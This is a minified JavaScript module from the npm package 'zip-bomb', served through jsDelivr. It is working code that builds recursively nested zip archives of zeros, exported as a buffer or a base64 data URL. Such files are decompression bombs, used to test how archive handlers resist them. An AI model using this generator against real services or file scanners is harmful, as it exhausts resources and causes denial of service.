/**
 * Minified by jsDelivr using Terser v5.39.0.
 * Original file: /npm/zip-bomb@1.0.0/index.js
 *
 * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
 */
const Buffer=require("buffer/").Buffer,JSZip=require("jszip"),pf=require("promised-for"),debug=require("debug")("zip-bomb:main"),prepareZeroBuffer=(e,r)=>{const f=Buffer.from("0".repeat(e)),u=[];debug(`Creating buffer with ${e} zeros with ${r} levels`);for(var t=0;t<r;t++)u.push(f);return Buffer.concat(u)},zipToBuffer=e=>e.generateAsync({compression:"DEFLATE",type:"nodebuffer"}),createBuffer=(e,r,f)=>{let u=new JSZip;if("number"!=typeof e)throw new Error("Buffer multiplier should be a number");return u.file("zero.txt",prepareZeroBuffer(e,r)),zipToBuffer(u).then((e=>{if("number"!=typeof r)throw new Error("Buffer multiplier should be a number");if("number"!=typeof f)throw new Error("Level should be a number");return debug(`Creating zip bomb with ${f} levels`),pf({i:1,buffer:e},(e=>e.i<=f),(e=>{const{i:r,buffer:f}=e,u=new JSZip;debug(`Zipping for level ${r}`);for(let e=1;e<=10;e++)u.file(`${r}-${e}.zip`,f);return zipToBuffer(u).then((e=>({i:r+1,buffer:e})))}))})).then((e=>e.buffer))},createDataURL=(e,r,f)=>createBuffer(e,r,f).then((e=>`data:application/zip;base64,${e.toString("base64")}`));module.exports={createBuffer:createBuffer,createDataURL:createDataURL};
//# sourceMappingURL=/sm/32a181e2213e06a8c92adc77029be108a71f49acdb2a659cb35f84333b78e7d7.map